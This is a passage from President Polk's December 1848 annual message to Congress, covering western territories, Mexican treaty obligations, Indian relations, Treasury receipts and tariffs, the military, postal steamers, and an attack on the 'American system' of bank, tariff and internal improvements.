large\nreturn of money to the Treasury and at the same time to lead to the\ndevelopment of their wealth by individual proprietors and purchasers. To do\nthis it will be necessary to provide for an immediate survey and location\nof the lots. If Congress should deem it proper to dispose of the mineral\nlands, they should be sold in small quantities and at a fixed minimum\nprice.I recommend that surveyors-general's offices be authorized to be\nestablished in New Mexico and California and provision made for surveying\nand bringing the public lands into market at the earliest practicable\nperiod. In disposing of these lands, I recommend that the right of\npreemption be secured and liberal grants made to the early emigrants who\nhave settled or may settle upon them.It will be important to extend our revenue laws over these territories, and\nespecially over California, at an early period. There is already a\nconsiderable commerce with California, and until ports of entry shall be\nestablished and collectors appointed no revenue can be received.If these and other necessary and proper measures be adopted for the\ndevelopment of the wealth and resources of New Mexico and California and\nregular Territorial governments be established over them, such will\nprobably be the rapid enlargement of our commerce and navigation and such\nthe addition to the national wealth that the present generation may live to\nwitness the controlling commercial and monetary power of the world\ntransferred from London and other European emporiums to the city of New\nYork.The apprehensions which were entertained by some of our statesmen in the\nearlier periods of the Government that our system was incapable of\noperating with sufficient energy and success over largely extended\nterritorial limits, and that if this were attempted it would fall to pieces\nby its own weakness, have been dissipated by our experience. By the\ndivision of power between the States and Federal Government the latter is\nfound to operate with as much energy in the extremes as in the center. It\nis as efficient in the remotest of the thirty States which now compose the\nUnion as it was in the thirteen States which formed our Constitution.\nIndeed, it may well be doubted whether if our present population had been\nconfined within the limits of the original thirteen States the tendencies\nto centralization and consolidation would not have been such as to have\nencroached upon the essential reserved rights of the States, and thus to\nhave made the Federal Government a widely different one, practically, from\nwhat it is in theory and was intended to be by its framers. So far from\nentertaining apprehensions of the safety of our system by the extension of\nour territory, the belief is confidently entertained that each new State\ngives strength and an additional guaranty for the preservation of the Union\nitself.In pursuance of the provisions of the thirteenth article of the treaty of\npeace, friendship, limits, and settlement with the Republic of Mexico, and\nof the act of July 29, 1848, claims of our citizens, which had been\n\"already liquidated and decided, against the Mexican Republic\" amounting,\nwith the interest thereon, to $2,023,832.51 have been liquidated and paid.\nThere remain to be paid of these claims $74,192.26.Congress at its last session having made no provision for executing the\nfifteenth article of the treaty, by which the United States assume to make\nsatisfaction for the \"unliquidated claims\" of our citizens against Mexico\nto \"an amount not exceeding three and a quarter millions of dollars,\" the\nsubject is again recommended to your favorable consideration.The exchange of ratifications of the treaty with Mexico took place on the\n30th of May, 1848. Within one year after that time the commissioner and\nsurveyor which each Government stipulates to appoint are required to meet\n\"at the port of San Diego and proceed to run and mark the said boundary in\nits whole course to the mouth of the Rio Bravo del Norte.\" It will be seen\nfrom this provision that the period within which a commissioner and\nsurveyor of the respective Governments are to meet at San Diego will expire\non the 30th of May, 1849. Congress at the close of its last session made an\nappropriation for \"the expenses of running and marking the boundary line\"\nbetween the two countries, but did not fix the amount of salary which\nshould be paid to the commissioner and surveyor to be appointed on the part\nof the United States. It is desirable that the amount of compensation which\nthey shall receive should be prescribed by law, and not left, as at\npresent, to Executive discretion.Measures were adopted at the earliest practicable period to organize the\n\"Territorial government of Oregon,\" as authorized by the act of the 14th of\nAugust last. The governor and marshal of the Territory, accompanied by a\nsmall military escort, left the frontier of Missouri in September last, and\ntook the southern route, by the way of Santa Fe and the river Gila, to\nCalifornia, with the intention of proceeding thence in one of our vessels\nof war to their destination. The governor was fully advised of the great\nimportance of his early arrival in the country, and it is confidently\nbelieved he may reach Oregon in the latter part of the present month or\nearly in the next. The other officers for the Territory have proceeded by\nsea.In the month of May last I communicated information to Congress that an\nIndian war had broken out in Oregon, and recommended that authority be\ngiven to raise an adequate number of volunteers to proceed without delay to\nthe assistance of our fellow-citizens in that Territory. The authority to\nraise such a force not having been granted by Congress, as soon as their\nservices could be dispensed with in Mexico orders were issued to the\nregiment of mounted riflemen to proceed to Jefferson Barracks, in Missouri,\nand to prepare to march to Oregon as soon as the necessary provision could\nbe made. Shortly before it was ready to march it was arrested by the\nprovision of the act passed by Congress on the last day of the last\nsession, which directed that all the noncommissioned officers, musicians,\nand privates of that regiment who had been in service in Mexico should,\nupon their application, be entitled to be discharged. The effect of this\nprovision was to disband the rank and file of the regiment, and before\ntheir places could be filled by recruits the season had so far advanced\nthat it was impracticable for it to proceed until the opening of the next\nspring.In the month of October last the accompanying communication was received\nfrom the governor of the temporary government of Oregon, giving information\nof the continuance of the Indian disturbances and of the destitution and\ndefenseless condition of the inhabitants. Orders were immediately\ntransmitted to the commander of our squadron in the Pacific to dispatch to\ntheir assistance a part of the naval forces on that station, to furnish\nthem with arms and ammunition, and to continue to give them such aid and\nprotection as the Navy could afford until the Army could reach the\ncountry.It is the policy of humanity, and one which has always been pursued by the\nUnited States, to cultivate the good will of the aboriginal tribes of this\ncontinent and to restrain them from making war and indulging in excesses by\nmild means rather than by force. That this could have been done with the\ntribes in Oregon had that Territory been brought under the government of\nour laws at an earlier period, and had other suitable measures been adopted\nby Congress, such as now exist in our intercourse with the other Indian\ntribes within our limits, can not be doubted. Indeed, the immediate and\nonly cause of the existing hostility of the Indians of Oregon is\nrepresented to have been the long delay of the United States in making to\nthem some trifling compensation, in such articles as they wanted, for the\ncountry now occupied by our emigrants, which the Indians claimed and over\nwhich they formerly roamed. This compensation had been promised to them by\nthe temporary government established in Oregon, but its fulfillment had\nbeen postponed from time to time for nearly two years, whilst those who\nmade it had been anxiously waiting for Congress to establish a Territorial\ngovernment over the country. The Indians became at length distrustful of\ntheir good faith and sought redress by plunder and massacre, which finally\nled to the present difficulties. A few thousand dollars in suitable\npresents, as a compensation for the country which had been taken possession\nof by our citizens, would have satisfied the Indians and have prevented the\nwar. A small amount properly distributed, it is confidently believed, would\nsoon restore quiet. In this Indian war our fellow-citizens of Oregon have\nbeen compelled to take the field in their own defense, have performed\nvaluable military services, and been subjected to expenses which have\nfallen heavily upon them. Justice demands that provision should be made by\nCongress to compensate them for their services and to refund to them the\nnecessary expenses which they have incurred.I repeat the recommendation heretofore made to Congress, that provision be\nmade for the appointment of a suitable number of Indian agents to reside\namong the tribes of Oregon, and that a small sum be appropriated to enable\nthese agents to cultivate friendly relations with them. If this be done,\nthe presence of a small military force will be all that is necessary to\nkeep them in check and preserve peace. I recommend that similar provisions\nbe made as regards the tribes inhabiting northern Texas, New Mexico,\nCalifornia, and the extensive region lying between our settlements in\nMissouri and these possessions, as the most effective means of preserving\npeace upon our borders and within the recently acquired territories.The Secretary of the Treasury will present in his annual report a highly\nsatisfactory statement of the condition of the finances.The imports for the fiscal year ending on the 30th of June last were of the\nvalue of $154,977,876, of which the amount exported was $21,128,010,\nleaving $133,849,866 in the country for domestic use. The value of the\nexports for the same period was $154,032,131, consisting of domestic\nproductions amounting to $132,904,121 and $21,128,010 of foreign articles.\nThe receipts into the Treasury for the same period, exclusive of loans,\namounted to $35,436,750.59, of which there was derived from customs\n$31,757,070.96, from sales of public lands $3,328,642.56, and from\nmiscellaneous and incidental sources $351,037.07.It will be perceived that the revenue from customs for the last fiscal year\nexceeded by $757,070.96 the estimate of the Secretary of the Treasury in\nhis last annual report, and that the aggregate receipts during the same\nperiod from customs, lands, and miscellaneous sources also exceeded the\nestimate by the sum of $536,750.59, indicating, however, a very near\napproach in the estimate to the actual result.The expenditures during the fiscal year ending on the 30th of June last,\nincluding those for the war and exclusive of payments of principal and\ninterest for the public debt, were $42,811,970.03.It is estimated that the receipts into the Treasury for the fiscal year\nending on the 30th of June, 1849, including the balance in the Treasury on\nthe 1st of July last, will amount to the sum of $57,048,969.90, of which\n$32,000,000, it is estimated, will be derived from customs, $3,000,000 from\nthe sales of the public lands, and $1,200,000 from miscellaneous and\nincidental sources, including the premium upon the loan, and the amount\npaid and to be paid into the Treasury on account of military contributions\nin Mexico, and the sales of arms and vessels and other public property\nrendered unnecessary for the use of the Government by the termination of\nthe war, and $20,695,435.30 from loans already negotiated, including\nTreasury notes funded, which, together with the balance in the Treasury on\nthe 1st of July last, make the sum estimated.The expenditures for the same period, including the necessary payment on\naccount of the principal and interest of the public debt, and the principal\nand interest of the first installment due to Mexico on the 30th of May\nnext, and other expenditures growing out of the war to be paid during the\npresent year, will amount, including the reimbursement of Treasury notes,\nto the sum of $54,195,275.06, leaving an estimated balance in the Treasury\non the 1st of July, 1849, of $2,853,694.84.The Secretary of the Treasury will present, as required by law, the\nestimate of the receipts and expenditures for the next fiscal year. The\nexpenditures as estimated for that year are $33,213,152.73, including\n$3,799,102.18 for the interest on the public debt and $3,540,000 for the\nprincipal and interest due to Mexico on the 30th of May, 1850, leaving the\nsum of $25,874,050.35, which, it is believed, will be ample for the\nordinary peace expenditures.The operations of the tariff act of 1846 have been such during the past\nyear as fully to meet the public expectation and to confirm the opinion\nheretofore expressed of the wisdom of the change in our revenue system\nwhich was effected by it. The receipts under it into the Treasury for the\nfirst fiscal year after its enactment exceeded by the sum of $5,044,403.09\nthe amount collected during the last fiscal year under the tariff act of\n1842, ending the 30th of June, 1846. The total revenue realized from the\ncommencement of its operation, on the 1st of December, 1846, until the\nclose of the last quarter, on the 30th of September last, being twenty-two\nmonths, was $56,654,563.79, being a much larger sum than was ever before\nreceived from duties during any equal period under the tariff acts of 1824,\n1828, 1832, and 1842. Whilst by the repeal of highly protective and\nprohibitory duties the revenue has been increased, the taxes on the people\nhave been diminished. They have been relieved from the heavy amounts with\nwhich they were burthened under former laws in the form of increased prices\nor bounties paid to favored classes and pursuits.The predictions which were made that the tariff act of 1846 would reduce\nthe amount of revenue below that collected under the act of 1842, and would\nprostrate the business and destroy the prosperity of the country, have not\nbeen verified. With an increased and increasing revenue, the finances are\nin a highly flourishing condition. Agriculture, commerce, and navigation\nare prosperous; the prices of manufactured fabrics and of other products\nare much less injuriously affected than was to have been anticipated from\nthe unprecedented revulsions which during the last and the present year\nhave overwhelmed the industry and paralyzed the credit and commerce of so\nmany great and enlightened nations of Europe.Severe commercial revulsions abroad have always heretofore operated to\ndepress and often to affect disastrously almost every branch of American\nindustry. The temporary depression of a portion of our manufacturing\ninterests is the effect of foreign causes, and is far less severe than has\nprevailed on all former similar occasions.It is believed that, looking to the great aggregate of all our interests,\nthe whole country was never more prosperous than at the present period, and\nnever more rapidly advancing in wealth and population. Neither the foreign\nwar in which we have been involved, nor the loans which have absorbed so\nlarge a portion of our capital, nor the commercial revulsion in Great\nBritain in 1847, nor the paralysis of credit and commerce throughout Europe\nin 1848, have affected injuriously to any considerable extent any of the\ngreat interests of the country or arrested our onward march to greatness,\nwealth, and power.Had the disturbances in Europe not occurred, our commerce would undoubtedly\nhave been still more extended, and would have added still more to the\nnational wealth and public prosperity. But notwithstanding these\ndisturbances, the operations of the revenue system established by the\ntariff act of 1846 have been so generally beneficial to the Government and\nthe business of the country that no change in its provisions is demanded by\na wise public policy, and none is recommended.The operations of the constitutional treasury established by the act of the\n6th of August, 1846, in the receipt, custody, and disbursement of the\npublic money have continued to be successful. Under this system the public\nfinances have been carried through a foreign war, involving the necessity\nof loans and extraordinary expenditures and requiring distant transfers and\ndisbursements, without embarrassment, and no loss has occurred of any of\nthe public money deposited under its provisions. Whilst it has proved to be\nsafe and useful to the Government, its effects have been most beneficial\nupon the business of the country. It has tended powerfully to secure an\nexemption from that inflation and fluctuation of the paper currency so\ninjurious to domestic industry and rendering so uncertain the rewards of\nlabor, and, it is believed, has largely contributed to preserve the whole\ncountry from a serious commercial revulsion, such as often occurred under\nthe bank deposit system. In the year 1847 there was a revulsion in the\nbusiness of Great Britain of great extent and intensity, which was followed\nby failures in that Kingdom unprecedented in number and amount of losses.\nThis is believed to be the first instance when such disastrous\nbankruptcies, occurring in a country with which we have such extensive\ncommerce, produced little or no injurious effect upon our trade or\ncurrency. We remained but little affected in our money market, and our\nbusiness and industry were still prosperous and progressive.During the present year nearly the whole continent of Europe has been\nconvulsed by civil war and revolutions, attended by numerous bankruptcies,\nby an unprecedented fall in their public securities, and an almost\nuniversal paralysis of commerce and industry; and yet, although our trade\nand the prices of our products must have been somewhat unfavorably affected\nby these causes, we have escaped a revulsion, our money market is\ncomparatively easy, and public and private credit have advanced and\nimproved.It is confidently believed that we have been saved from their effect by the\nsalutary operation of the constitutional treasury. It is certain that if\nthe twenty-four millions of specie imported into the country during the\nfiscal year ending on the 30th of June, 1847, had gone into the banks, as\nto a great extent it must have done, it would in the absence of this system\nhave been made the basis of augmented bank paper issues, probably to an\namount not less than $60,000,000 or $70,000,000, producing, as an\ninevitable consequence of an inflated currency, extravagant prices for a\ntime and wild speculation, which must have been followed, on the reflux to\nEurope the succeeding year of so much of that specie, by the prostration of\nthe business of the country, the suspension of the banks, and most\nextensive bankruptcies. Occurring, as this would have done, at a period\nwhen the country was engaged in a foreign war, when considerable loans of\nspecie were required for distant disbursements, and when the banks, the\nfiscal agents of the Government and the depositories of its money, were\nsuspended, the public credit must have sunk, and many millions of dollars,\nas was the case during the War of 1812, must have been sacrificed in\ndiscounts upon loans and upon the depreciated paper currency which the\nGovernment would have been compelled to use.Under the operations of the constitutional treasury not a dollar has been\nlost by the depreciation of the currency. The loans required to prosecute\nthe war with Mexico were negotiated by the Secretary of the Treasury above\npar, realizing a large premium to the Government. The restraining effect of\nthe system upon the tendencies to excessive paper issues by banks has saved\nthe Government from heavy losses and thousands of our business men from\nbankruptcy and ruin. The wisdom of the system has been tested by the\nexperience of the last two years, and it is the dictate of sound policy\nthat it should remain undisturbed. The modifications in some of the details\nof this measure, involving none of its essential principles, heretofore\nrecommended, are again presented for your favorable consideration.In my message of the 6th of July last, transmitting to Congress the\nratified treaty of peace with Mexico, I recommended the adoption of\nmeasures for the speedy payment of the public debt. In reiterating that\nrecommendation I refer you to the considerations presented in that message\nin its support. The public debt, including that authorized to be negotiated\nin pursuance of existing laws, and including Treasury notes, amounted at\nthat time to $65,778,450.41.Funded stock of the United States amounting to about half a million of\ndollars has been purchased, as authorized by law, since that period, and\nthe public debt has thus been reduced, the details of which will be\npresented in the annual report of the Secretary of the Treasury.The estimates of expenditures for the next fiscal year, submitted by the\nSecretary of the Treasury, it is believed will be ample for all necessary\npurposes. If the appropriations made by Congress shall not exceed the\namount estimated, the means in the Treasury will be sufficient to defray\nall the expenses of the Government, to pay off the next installment of\n$3,000,000 to Mexico, which will fall due on the 30th of May next, and\nstill a considerable surplus will remain, which should be applied to the\nfurther purchase of the public stock and reduction of the debt. Should\nenlarged appropriations be made, the necessary consequence will be to\npostpone the payment of the debt. Though our debt, as compared with that of\nmost other nations, is small, it is our true policy, and in harmony with\nthe genius of our institutions, that we should present to the world the\nrare spectacle of a great Republic, possessing vast resources and wealth,\nwholly exempt from public indebtedness. This would add still more to our\nstrength, and give to us a still more commanding position among the nations\nof the earth.The public expenditures should be economical, and be confined to such\nnecessary objects as are clearly within the powers of Congress. All such as\nare not absolutely demanded should be postponed, and the payment of the\npublic debt at the earliest practicable period should be a cardinal\nprinciple of our public policy.For the reason assigned in my last annual message, I repeat the\nrecommendation that a branch of the Mint of the United States be\nestablished at the city of New York. The importance of this measure is\ngreatly increased by the acquisition of the rich mines of the precious\nmetals in New Mexico and California, and especially in the latter.I repeat the recommendation heretofore made in favor of the graduation and\nreduction of the price of such of the public lands as have been long\noffered in the market and have remained unsold, and in favor of extending\nthe rights of preemption to actual settlers on the unsurveyed as well as\nthe surveyed lands.The condition and operations of the Army and the state of other branches of\nthe public service under the supervision of the War Department are\nsatisfactorily presented in the accompanying report of the Secretary of\nWar.On the return of peace our forces were withdrawn from Mexico, and the\nvolunteers and that portion of the Regular Army engaged for the war were\ndisbanded. Orders have been issued for stationing the forces of our\npermanent establishment at various positions in our extended country where\ntroops may be required. Owing to the remoteness of some of these positions,\nthe detachments have not yet reached their destination. Notwithstanding the\nextension of the limits of our country and the forces required in the new\nterritories, it is confidently believed that our present military\nestablishment is sufficient for all exigencies so long as our peaceful\nrelations remain undisturbed.Of the amount of military contributions collected in Mexico, the sum of\n$769,650 was applied toward the payment of the first installment due under\nthe treaty with Mexico. The further sum of $346,369.30 has been paid into\nthe Treasury, and unexpended balances still remain in the hands of\ndisbursing officers and those who were engaged in the collection of these\nmoneys. After the proclamation of peace no further disbursements were made\nof any unexpended moneys arising from this source. The balances on hand\nwere directed to be paid into the Treasury, and individual claims on the\nfund will remain unadjusted until Congress shall authorize their settlement\nand payment. These claims are not considerable in number or amount.I recommend to your favorable consideration the suggestions of the\nSecretary of War and the Secretary of the Navy in regard to legislation on\nthis subject.Our Indian relations are presented in a most favorable view in the report\nfrom the War Department. The wisdom of our policy in regard to the tribes\nwithin our limits is clearly manifested by their improved and rapidly\nimproving condition.A most important treaty with the Menomonies has been recently negotiated by\nthe Commissioner of Indian Affairs in person, by which all their land in\nthe State of Wisconsin--being about 4,000,000 acres--has been ceded to the\nUnited States. This treaty will be submitted to the Senate for ratification\nat an early period of your present session.Within the last four years eight important treaties have been negotiated\nwith different Indian tribes, and at a cost of $1,842,000; Indian lands to\nthe amount of more than 18,500,000 acres have been ceded to the United\nStates, and provision has been made for settling in the country west of the\nMississippi the tribes which occupied this large extent of the public\ndomain. The title to all the Indian lands within the several States of our\nUnion, with the exception of a few small reservations, is now extinguished,\nand a vast region opened for settlement and cultivation.The accompanying report of the Secretary of the Navy gives a satisfactory\nexhibit of the operations and condition of that branch of the public\nservice.A number of small vessels, suitable for entering the mouths of rivers, were\njudiciously purchased during the war, and gave great efficiency to the\nsquadron in the Gulf of Mexico. On the return of peace, when no longer\nvaluable for naval purposes, and liable to constant deterioration, they\nwere sold and the money placed in the Treasury.The number of men in the naval service authorized by law during the war has\nbeen reduced by discharges below the maximum fixed for the peace\nestablishment. Adequate squadrons are maintained in the several quarters of\nthe globe where experience has shown their services may be most usefully\nemployed, and the naval service was never in a condition of higher\ndiscipline or greater efficiency.I invite attention to the recommendation of the Secretary of the Navy on\nthe subject of the Marine Corps. The reduction of the Corps at the end of\nthe war required that four officers of each of the three lower grades\nshould be dropped from the rolls. A board of officers made the selection,\nand those designated were necessarily dismissed, but without any alleged\nfault. I concur in opinion with the Secretary that the service would be\nimproved by reducing the number of landsmen and increasing the marines.\nSuch a measure would justify an increase of the number of officers to the\nextent of the reduction by dismissal, and still the Corps would have fewer\nofficers than a corresponding number of men in the Army.The contracts for the transportation of the mail in steamships, convertible\ninto war steamers, promise to realize all the benefits to our commerce and\nto the Navy which were anticipated. The first steamer thus secured to the\nGovernment was launched in January, 1847. There are now seven, and in\nanother year there will probably be not less than seventeen afloat. While\nthis great national advantage is secured, our social and commercial\nintercourse is increased and promoted with Germany, Great Britain, and\nother parts of Europe, with all the countries on the west coast of our\ncontinent, especially with Oregon and California, and between the northern\nand southern sections of the United States. Considerable revenue may be\nexpected from postages, but the connected line from New York to Chagres,\nand thence across the Isthmus to Oregon, can not fail to exert a beneficial\ninfluence, not now to be estimated, on the interests of the manufactures,\ncommerce, navigation, and currency of the United States. As an important\npart of the system, I recommend to your favorable consideration the\nestablishment of the proposed line of steamers between New Orleans and Vera\nCruz. It promises the most happy results in cementing friendship between\nthe two Republics and extending reciprocal benefits to the trade and\nmanufactures of both.The report of the Postmaster-General will make known to you the operations\nof that Department for the past year.It is gratifying to find the revenues of the Department, under the rates of\npostage now established by law, so rapidly increasing. The gross amount of\npostages during the last fiscal year amounted to $4,371,077, exceeding the\nannual average received for the nine years immediately preceding the\npassage of the act of the 3d of March, 1845, by the sum of $6,453, and\nexceeding the amount received for the year ending the 30th of June, 1847,\nby the sum of $425,184.The expenditures for the year, excluding the sum of $94,672, allowed by\nCongress at its last session to individual claimants, and including the sum\nof $100,500, paid for the services of the line of steamers between Bremen\nand New York, amounted to $4,198,845, which is less than the annual average\nfor the nine years previous to the act of 1845 by $300,748.The mail routes on the 30th day of June last were 163,208 miles in extent,\nbeing an increase during the last year of 9,390 miles. The mails were\ntransported over them during the same time 41,012,579 miles, making an\nincrease of transportation for the year of 2,124,680 miles, whilst the\nexpense was less than that of the previous year by $4,235.The increase in the mail transportation within the last three years has\nbeen 5,378,310 miles, whilst the expenses were reduced $456,738, making an\nincrease of service at the rate of 15 per cent and a reduction in the\nexpenses of more than 15 per cent.During the past year there have been employed, under contracts with the\nPost-Office Department, two ocean steamers in conveying the mails monthly\nbetween New York and Bremen, and one, since October last, performing\nsemimonthly service between Charleston and Havana; and a contract has been\nmade for the transportation of the Pacific mails across the Isthmus from\nChagres to Panama.Under the authority given to the Secretary of the Navy, three ocean\nsteamers have been constructed and sent to the Pacific, and are expected to\nenter upon the mail service between Panama and Oregon and the intermediate\nports on the 1st of January next; and a fourth has been engaged by him for\nthe service between Havana and Chagres, so that a regular monthly mail line\nwill be kept up after that time between the United States and our\nterritories on the Pacific.Notwithstanding this great increase in the mail service, should the revenue\ncontinue to increase the present year as it did in the last, there will be\nreceived near $450,000 more than the expenditures.These considerations have satisfied the Postmaster-General that, with\ncertain modifications of the act of 1845, the revenue may be still further\nincreased and a reduction of postages made to a uniform rate of 5 cents,\nwithout an interference with the principle, which has been constantly and\nproperly enforced, of making that Department sustain itself.A well-digested cheap-postage system is the best means of diffusing\nintelligence among the people, and is of so much importance in a country so\nextensive as that of the United States that I recommend to your favorable\nconsideration the suggestions of the Postmaster-General for its\nimprovement.Nothing can retard the onward progress of our country and prevent us from\nassuming and maintaining the first rank among nations but a disregard of\nthe experience of the past and a recurrence to an unwise public policy. We\nhave just closed a foreign war by an honorable peace--a war rendered\nnecessary and unavoidable in vindication of the national rights and honor.\nThe present condition of the country is similar in some respects to that\nwhich existed immediately after the close of the war with Great Britain in\n1815, and the occasion is deemed to be a proper one to take a retrospect of\nthe measures of public policy which followed that war. There was at that\nperiod of our history a departure from our earlier policy. The enlargement\nof the powers of the Federal Government by construction, which obtained,\nwas not warranted by any just interpretation of the Constitution. A few\nyears after the close of that war a series of measures was adopted which,\nunited and combined, constituted what was termed by their authors and\nadvocates the \"American system.\"The introduction of the new policy was for a time favored by the condition\nof the country, by the heavy debt which had been contracted during the war,\nby the depression of the public credit, by the deranged state of the\nfinances and the currency, and by the commercial and pecuniary\nembarrassment which extensively prevailed. These were not the only causes\nwhich led to its establishment. The events of the war with Great Britain\nand the embarrassments which had attended its prosecution had left on the\nminds of many of our statesmen the impression that our Government was not\nstrong enough, and that to wield its resources successfully in great\nemergencies, and especially in war, more power should be concentrated in\nits hands. This increased power they did not seek to obtain by the\nlegitimate and prescribed mode--an amendment of the Constitution--but by\nconstruction. They saw Governments in the Old World based upon different\norders of society, and so constituted as to throw the whole power of\nnations into the hands of a few, who taxed and controlled the many without\nresponsibility or restraint. In that arrangement they conceived the\nstrength of nations in war consisted. There was also something fascinating\nin the ease, luxury, and display of the higher orders, who drew their\nwealth from the toil of the laboring millions. The authors of the system\ndrew their ideas of political economy from what they had witnessed in\nEurope, and particularly in Great Britain. They had viewed the enormous\nwealth concentrated in few hands and had seen the splendor of the overgrown\nestablishments of an aristocracy which was upheld by the restrictive\npolicy. They forgot to look down upon the poorer classes of the English\npopulation, upon whose daily and yearly labor the great establishments they\nso much admired were sustained and supported. They failed to perceive that\nthe scantily fed and half-clad operatives were not only in abject poverty,\nbut were bound in chains of oppressive servitude for the benefit of favored\nclasses, who were the exclusive objects of the care of the Government.It was not possible to reconstruct society in the United States upon the\nEuropean plan. Here there was a written Constitution, by which orders and\ntitles were not recognized or tolerated. A system of measures was therefore\ndevised, calculated, if not intended, to withdraw power gradually and\nsilently from the States and the mass of the people, and by construction to\napproximate our Government to the European models, substituting an\naristocracy of wealth for that of orders and titles.Without reflecting upon the dissimilarity of our institutions and of the\ncondition of our people and those of Europe, they conceived the vain idea\nof building up in the United States a system similar to that which they\nadmired abroad. Great Britain had a national bank of large capital, in\nwhose hands was concentrated the controlling monetary and financial power\nof the nation--an institution wielding almost kingly power, and exerting\nvast influence upon all the operations of trade and upon the policy of the\nGovernment itself. Great Britain had an enormous public debt, and it had\nbecome a part of her public policy to regard this as a \"public blessing.\"\nGreat Britain had also a restrictive policy, which placed fetters and\nburdens on trade and trammeled the productive industry of the mass of the\nnation. By her combined system of policy the landlords and other property\nholders were protected and enriched by the enormous taxes which were levied\nupon the labor of the country for their advantage. Imitating this foreign\npolicy, the first step in establishing the new system in the United States\nwas the creation of a national bank. Not foreseeing the dangerous power and\ncountless evils which such an institution might entail on the country, nor\nperceiving the connection which it was designed to form between the bank\nand the other branches of the miscalled \"American system,\" but feeling the\nembarrassments of the Treasury and of the business of the country\nconsequent upon the war, some of our statesmen who had held different and\nsounder views were induced to yield their scruples and, indeed, settled\nconvictions of its unconstitutionality, and to give it their sanction as an\nexpedient which they vainly hoped might produce relief. It was a most\nunfortunate error, as the subsequent history and final catastrophe of that\ndangerous and corrupt institution have abundantly proved. The bank, with\nits numerous branches ramified into the States, soon brought many of the\nactive political and commercial men in different sections of the country\ninto the relation of debtors to it and dependents upon it for pecuniary\nfavors, thus diffusing throughout the mass of society a great number of\nindividuals of power and influence to give tone to public opinion and to\nact in concert in cases of emergency. The corrupt power of such a political\nengine is no longer a matter of speculation, having been displayed in\nnumerous instances, but most signally in the political struggles of 1832,\n1833, and 1834 in opposition to the public will represented by a fearless\nand patriotic President.But the bank was but one branch of the new system. A public debt of more\nthan $120,000,000 existed, and it is not to be disguised that many of the\nauthors of the new system did not regard its speedy payment as essential to\nthe public prosperity, but looked upon its continuance as no national evil.\nWhilst the debt existed it furnished aliment to the national bank and\nrendered increased taxation necessary to the amount of the interest,\nexceeding $7,000,000 annually.This operated in harmony with the next branch of the new system, which was\na high protective tariff. This was to afford bounties to favored classes\nand particular pursuits at the expense of all others. A proposition to tax\nthe whole people for the purpose of enriching a few was too monstrous to be\nopenly made. The scheme was therefore veiled under the plausible but\ndelusive pretext of a measure to protect \"home industry,\" and many of our\npeople were for a time led to believe that a tax which in the main fell\nupon labor was for the benefit of the laborer who paid it. This branch of\nthe system involved a partnership between the Government and the favored\nclasses, the former receiving the proceeds of the tax imposed on articles\nimported and the latter the increased price of similar articles produced at\nhome, caused by such tax. It is obvious that the portion to be received by\nthe favored classes would, as a general rule, be increased in proportion to\nthe increase of the rates of tax imposed and diminished as those rates were\nreduced to the revenue standard required by the wants of the Government.\nThe rates required to produce a sufficient revenue for the ordinary\nexpenditures of Government for necessary purposes were not likely to give\nto the private partners in this scheme profits sufficient to satisfy their\ncupidity, and hence a variety of expedients and pretexts were resorted to\nfor the purpose of enlarging the expenditures and thereby creating a\nnecessity for keeping up a high protective tariff. The effect of this\npolicy was to interpose artificial restrictions upon the natural course of\nthe business and trade of the country, and to advance the interests of\nlarge capitalists and monopolists at the expense of the great mass of the\npeople, who were taxed to increase their wealth.Another branch of this system was a comprehensive scheme of internal\nimprovements, capable of indefinite enlargement and sufficient to swallow\nup as many millions annually as could be exacted from the foreign commerce\nof the country. This was a convenient and necessary adjunct of the\nprotective tariff. It was to be the great absorbent of any surplus which\nmight at any time accumulate in the Treasury and of the taxes levied on the\npeople, not for necessary revenue purposes, but for the avowed object of\naffording protection to the favored classes.Auxiliary to the same end, if it was not an essential part of the system\nitself, was the scheme, which at a later period obtained, for distributing\nthe proceeds of the sales of the public lands among the States. Other\nexpedients were devised to take money out of the Treasury and prevent its\ncoming in from any other source than the protective tariff. The authors and\nsupporters of the system were the advocates of the largest expenditures,\nwhether for necessary or useful purposes or not, because the larger the\nexpenditures the greater was the pretext for high taxes in the form of\nprotective duties.These several measures were sustained by popular names and plausible\narguments, by which thousands were deluded. The bank was represented to be\nan indispensable fiscal agent for the Government; was to equalize exchanges\nand to regulate and furnish a sound currency, always and everywhere of\nuniform value. The protective tariff was to give employment to \"American\nlabor\" at advanced prices; was to protect \"home industry\" and furnish a\nsteady market for the farmer. Internal improvements were to bring trade\ninto every neighborhood and enhance the value of every man's property. The\ndistribution of the land money was to enrich the States, finish their\npublic works, plant schools throughout their borders, and relieve them from\ntaxation. But the fact that for every dollar taken out of the Treasury for\nthese objects a much larger sum was transferred from the pockets of the\npeople to the favored classes was carefully concealed, as was also the\ntendency, if not the ultimate design, of the system to build up an\naristocracy of wealth, to control the masses of society, and monopolize the\npolitical power of the country.The several branches of this system were so intimately blended together\nthat in their operation each sustained and strengthened the others. Their\njoint operation was to add new burthens of taxation and to encourage a\nlargely increased and wasteful expenditure of public money. It was the\ninterest of the bank that the revenue collected and the disbursements made\nby the Government should be large, because, being the depository of the\npublic money, the larger the amount the greater would be the bank profits\nby its use. It was the interest of the favored classes, who were enriched\nby the protective tariff, to have the rates of that protection as high as\npossible, for the higher those rates the greater would be their advantage.\nIt was the interest of the people of all those sections and localities who\nexpected to be benefited by expenditures for internal improvements that the\namount collected should be as large as possible, to the end that the sum\ndisbursed might also be the larger. The States, being the beneficiaries in\nthe distribution of the land money, had an interest in having the rates of\ntax imposed by the protective tariff large enough to yield a sufficient\nrevenue from that source to meet the wants of the Government without\ndisturbing or taking from them the land fund; so that each of the branches\nconstituting the system had a common interest in swelling the public\nexpenditures. They had a direct interest in maintaining the public debt\nunpaid and increasing its amount, because this would produce an annual\nincreased drain upon the Treasury to the amount of the interest and render\naugmented taxes necessary. The operation and necessary effect of the whole\nsystem were to encourage large and extravagant expenditures, and thereby to\nincrease the public patronage, and maintain a rich and splendid government\nat the expense of a taxed and impoverished people.It is manifest that this scheme of enlarged taxation and expenditures, had\nit continued to prevail, must soon have converted the Government of the\nUnion, intended by its framers to be a plain, cheap, and simple\nconfederation of States, united together for common protection and charged\nwith a few specific duties, relating chiefly to our foreign affairs, into a\nconsolidated empire, depriving the States of their reserved rights and the\npeople of their just power and control in the administration of their\nGovernment. In this manner the whole form and character of the Government\nwould be changed, not by an amendment of the Constitution, but by resorting\nto an unwarrantable and unauthorized construction of that instrument.The indirect mode of levying the taxes by a duty on imports prevents the\nmass of the people from readily perceiving the amount they pay, and has\nenabled the few who are thus enriched, and who seek to wield the political\npower of the country, to deceive and delude them. Were the taxes collected\nby a direct levy upon the people, as is the case in the States, this could\nnot occur.The whole system was resisted from its 